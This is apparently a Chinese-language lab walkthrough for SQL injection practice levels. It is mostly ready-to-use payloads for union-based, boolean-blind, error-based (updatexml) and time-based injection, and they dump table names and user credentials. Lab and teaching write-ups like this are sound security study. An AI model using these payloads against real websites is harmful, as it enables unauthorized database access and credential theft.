这次的靶场主要为sql注入的练习,在练习靶场前我们需要了解以下mysql数据库。
数据库是一个用于存储和管理数据的仓库。数据按照特定的格式存储,可以对数据库中的数据进行增加、修改、删除和查询操作。数据库的本质是一个文件系统,按照一定的逻辑结构组织数据,以方便高效地访问和维护。
数据库管理系统(DataBase Management System,DBMS)是一个操作和管理数据库的软件。它用于建立、使用和维护数据库,对数据库进行统一管理和控制,以保证数据库的安全性和完整性。用户通过数据库管理系统访问数据库中表内的数据。
其中,以MySQL数据库为例,需要我们掌握一定的sql语句(增删改查尤为重要)
现在就开始练习吧!
首先看题,提示你输入数字值的ID作为参数,我们输入?id=1
输入的数值不同,回显内容也不同,所以输入的内容是带入到数据库里面查询了
接下来判断是字符型还是数字型
输入?id=1' //报错
输入?id=1' --+ //(--+为注释符)正常回显
我们判断出是字符型
用order by语句来查看有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。
如:?id=1'order by 3 --+
将3换成4后就报错,说明数据有3列
再爆出显示位
payload:?id=-1'union select 1,2,3--+
然后获取当前数据名和版本号
payload:?id=-1'union select 1,database(),version()--+
接下来爆表
payload:?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
information_schema.tables表示该数据库下的tables表,点(.)表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容(也就是下图标红内容)。
然后爆列名,通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中
payload:?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
该语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内容
账号和密码果然在这个表中,接下来我们就要得到该字段对应的内容
palyload:?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
思路和第一关一样,先判断为什么类型
输入?id=1‘ --+ //报错
输入?id=1 --+ //正常回显
说明是数字型注入
剩下的步骤只需把第一关的sql语句?id=-1'的单引号去掉就行了
?id=1 --+
?id=1 order by 3--+
?id=-1 union select 1,2,3--+
?id=-1 union select 1,database(),version()--+
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1 union select 1,2,group_concat(username ,id , password) from users--+
还是先判断类型
输入?id=1'出现回显如下,根据报错信息我们可以推断单引号字符型且有括号,所以需要闭合单引号且也要考虑括号。
接下就简单了,只需把第一关的sql语句?id=-1'后加一个)就行了
?id=1')--+
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+
输入?id=1根据页面报错信息得知sql语句是双引号字符型且有括号
sql语句:
?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+
第五关根据页面结果得知是字符型但是和前面四关不一样,是因为页面虽然有东西,但只有对于请求对错出现不一样页面其余的就没有了。这个时候我们用联合注入就没有用,因为联合注入是需要页面有回显位。如果数据只有对错页面显示,我们可以选择布尔盲注(以报错的形式显示内容)。布尔盲注主要用到length(),ascii() ,substr()这三个函数。
sql语句:
?id=1'and length((select database()))>9--+
#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4
?id=1'and ascii(substr((select database()),1,1))=115--+
#substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
判断所有表名字符长度。
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。
?id=1' and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
逐一检测内容。
爆库:?id=1' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) --+
这里的0x7e就是~,所以数据库名就是 security
爆表:?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(table_name)),0x7e) from information_schema.tables where table_schema='security'),0x7e),1) --+
查询users表的列名:?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(column_name)),0x7e) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+
查询username:?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(username)),0x7e) from users ),0x7e),1) --+
下面只展示下爆库
根据页面显示,将第五关的单引号换成双引号就可以了
输入?id=1,页面显示如下
当输入?id=1'时显示报错
当我们输入?id=1"时显示正常,所以我们可以断定参数id时单引号字符串。
当输入?id=1'--+时报错,输入?id=1')--+依然报错,输入?id=1'))--+,发现页面显示正常
那么过关方法就把在第5关的单引号后加两个)就行了
和第5关一样就不多说了。。。。
第九关会发现我们不管输入什么页面显示的东西都是一样的,这个时候布尔盲注就不适用了,这时候就要用时间盲注了,因为回显相同,所以用时间盲注通过页面回显时间来判断哪个条件为真。
补充:时间盲注只是比布尔盲注多了if函数和sleep()函数。if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒执行1,如果a的结果是假,直接执行1,页面不延迟。
?id=1' and if(1=1,sleep(5),1)--+
判断参数构造。
?id=1'and if(length((select database()))>9,sleep(5),1)--+
判断数据库名长度
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
逐一判断数据库字符
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
判断所有表名长度
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
逐一判断表名
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
判断所有字段名的长度
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
逐一判断字段名。
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
判断字段内容长度
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
逐一检测内容。
和第九关一样只需要将单引号换成双引号。